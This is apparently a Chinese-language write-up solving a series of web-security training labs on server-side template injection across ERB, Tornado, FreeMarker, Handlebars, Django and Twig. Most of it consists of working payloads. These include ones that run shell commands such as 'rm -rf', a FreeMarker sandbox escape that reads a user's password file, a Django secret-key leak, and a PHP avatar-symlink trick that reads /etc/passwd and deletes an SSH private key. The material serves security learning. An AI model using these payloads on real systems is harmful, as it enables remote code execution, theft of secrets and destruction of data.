基本服务器端模板注入

image-20221220191134102

当点击第一个信息的时候

image-20221220190621400

image-20221220190628985

弹出了一个新的页面

image-20221220191701193

/?message=<@urlencode><%= 7* 7 %><@/urlencode>

image-20221220191724199

可以发现使用了模板语句 <%= Ruby expression – replace with result %> 可以插入ruby代码 属于erb框架的语句

image-20221220192923180

那么我们尝试使用ruby的 system()方法去执行系统命令

/?message=<@urlencode><%= system('ls') %><@/urlencode>

image-20221220193031231

/?message=<@urlencode><%= system('rm -rf morale.txt') %><@/urlencode>

image-20221220193110674

基本服务器端模板注入(代码上下文)

image-20221220194511502

image-20221220205749171

blog-post-author-display=<@urlencode>user.first_name}}{{ 7+7 }}<@/urlencode>&csrf=XTVeW9Vm4gzPc4qy40BxucOBiNzooIvV

image-20221220205942546

当你发送评论时 就会触发模板语句

blog-post-author-display=<@urlencode>user.first_name}}{% import os %}{{ os.popen('ls').read() }}<@/urlencode>&csrf=CaaZvKrCkWCDHKeIkLT1yr9eXGxrEsD8

image-20221220212257017

其中{%%}用于执行控制结构或者其他的功能 {{}} 用于输出变量或者表达式的值 两者不能混用

blog-post-author-display=<@urlencode>user.first_name}}{% import os %}{{ os.popen('rm -rf morale.txt').read() }}<@/urlencode>&csrf=CaaZvKrCkWCDHKeIkLT1yr9eXGxrEsD8

image-20221220213207880

使用文档的服务器端模板注入

image-20221220214227719

先登录

image-20221220220108453

存在一个编辑模板的页面

image-20221220220244436

可以看到存在模板语句

image-20221220220351602

通过执行错误的 模板语句 可以发现使用的是java的Freemarker框架

在Freemarker中可以发现提出了一个问题 我们可以允许用户上传模板吗,有什么安全问题

http://freemarker.foofun.cn/app_faq.html

image-20221220222430704

并且给我们介绍了一个 new()

image-20221220222809931

image-20221220222844472

这里介绍了 只要实现了 TemplateModel 接口就可以使用这些对象 并且给出了我们new的用法

<#assign word_wrapp = "com.acmee.freemarker.WordWrapperDirective"?new()>

这里去查看一下 FreeMarker的api文档

image-20221220224537737

image-20221220224629300

从TemplateModel 可以看到所有实现的接口 找到 Execute 可以执行shell

image-20221220224849419

我们尝试构造一下

<#assign exec = "freemarker.template.utility.Execute"?new()>
${exec( "id" )}

exec 为我们创建的对象名

image-20221220225559179

<#assign exec = "freemarker.template.utility.Execute"?new()>
${exec( "rm -rf morale.txt" )}

image-20221220225629927

使用记录在案的利用未知语言的服务器端模板注入

image-20221220225914692

这里推荐一个网站

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

image-20221220230825773

image-20221220230937469

image-20221220230904633

image-20221220230953552

image-20221220231032326

image-20221220231040575

image-20221220231049413

可以看到是 handlebars 的程序

image-20221220231119155

可以直接使用这个网站的payload 也可以去搜索

/?message=unfo<@urlencode>{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm -rf morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}<@/urlencode>

image-20221220231409310

image-20221220231523834

通过用户提供的对象进行信息泄露的服务器端模板注入

image-20221220232539005

image-20221220232531077

发现是django

https://docs.djangoproject.com/zh-hans/4.1/

image-20221220233157687

找到这个 可以输出debug 的信息

image-20221220233304287

{% debug %}

image-20221220233401511

image-20221220233738746

尝试读取 settings.SECRET_KEY

{{ settings.SECRET_KEY }}

image-20221220233910575

沙盒环境中的服务器端模板注入

image-20221221182916871

image-20221221183130150

这里是 freemarker 框架

尝试用上一关的payload

image-20221221183919760

${product}

image-20221221183639565

这里发现获取了一个对象

image-20221221200922340

通过查看 java doc 可以尝试绕过

image-20221221201028097

image-20221221201106329

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

最后形成的payload

image-20221221201725823

image-20221221201739392

image-20221221201755698

使用自定义漏洞利用的服务器端模板注入

image-20221221213409671

image-20221221213805022

image-20221221213819393

尝试 发现是php-twig

image-20221221214710468

存在文件上传并且这里可以读取文件内容

image-20221221214730572

尝试上传 txt文件的时候发现出现错误 上传的文件类型不是一个图片 并出现了User->setAvatar() 也可以看到几个源码的路径信息

image-20221221214614735

那么我们如果调用 setAvatar() 是否可以 读取服务器文件呢

blog-post-author-display=user.setAvatar('/etc/passwd','image/jpg')&csrf=Xrbb3fQ7OBRB8fQz7GHdd1zkFTQWi9dU

image-20221221215647563

先访问文章页面 刷新下图片

image-20221221215652596

/avatar?avatar=wiener

image-20221221215713547

访问图片获得文件内容

blog-post-author-display=user.setAvatar('/home/carlos/User.php','image/jpg')&csrf=Xrbb3fQ7OBRB8fQz7GHdd1zkFTQWi9dU

尝试读取源码

image-20221221215929603

成功获取到源码

<?php

class User {
public $username;
public $name;
public $first_name;
public $nickname;
public $user_dir;

public function __construct($username, $name, $first_name, $nickname) {
$this->username = $username;
$this->name = $name;
$this->first_name = $first_name;
$this->nickname = $nickname;
$this->user_dir = "users/" . $this->username;
$this->avatarLink = $this->user_dir . "/avatar";

if (!file_exists($this->user_dir)) {
if (!mkdir($this->user_dir, 0755, true))
{
throw new Exception("Could not mkdir users/" . $this->username);
}
}
}

public function setAvatar($filename, $mimetype) {
if (strpos($mimetype, "image/") !== 0) {
throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
}

if (is_link($this->avatarLink)) {
// is_link 表示这个文件是否是一个符号链接
$this->rm($this->avatarLink);
// 如果是就删除这个文件
}

if (!symlink($filename, $this->avatarLink)) {
// 通过 symlink 来链接文件名和 avatarLink
throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
}
}

public function delete() {
$file = $this->user_dir . "/disabled";
if (file_put_contents($file, "") === false) {
// 这里是将 disabled 的内容删除
throw new Exception("Could not write to " . $file);
}
}

public function gdprDelete() {
$this->rm(readlink($this->avatarLink));
// 通过 readlink 读取链接的文件 接着使用 rm中的unlink删除文件
$this->rm($this->avatarLink);
$this->delete();
}

private function rm($filename) {
if (!unlink($filename)) {
throw new Exception("Could not delete " . $filename);
}
}
}

?>

那么这里只需要先给 avatarLink 赋值为想要的文件 接着 调用 gdprDelete() 即可

blog-post-author-display=user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')&csrf=W5FwdbuU0HDP3rIqxniI09nlwIqdyM9x

image-20221221222603236

blog-post-author-display=user.gdprDelete()&csrf=W5FwdbuU0HDP3rIqxniI09nlwIqdyM9x

image-20221221222832951